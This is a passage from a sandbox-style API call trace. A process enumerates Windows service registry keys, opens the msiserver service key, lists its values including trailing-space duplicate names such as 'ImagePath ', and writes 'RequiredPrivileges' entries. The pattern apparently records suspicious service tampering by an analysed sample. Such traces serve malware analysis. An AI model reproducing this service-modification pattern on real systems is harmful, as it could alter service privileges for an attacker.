cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0230.759] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0230.760] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0230.761] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0230.762] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0230.763] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0230.764] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0230.765] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0230.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0230.765] RegCloseKey (hKey=0xc4) returned 0x0 [0230.765] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0230.765] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0230.765] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0230.766] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0230.766] RegCloseKey (hKey=0x80000002) returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0230.766] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0230.766] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0230.767] RegCloseKey (hKey=0x154) returned 0x0 [0230.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0230.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0230.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0230.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0230.767] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0230.767] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0230.767] RegCloseKey (hKey=0xc4) returned 0x0 [0230.767] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0230.768] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0230.768] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.768] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.768] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.768] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.769] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0230.770] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0230.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0230.770] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0230.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.770] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0230.771] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 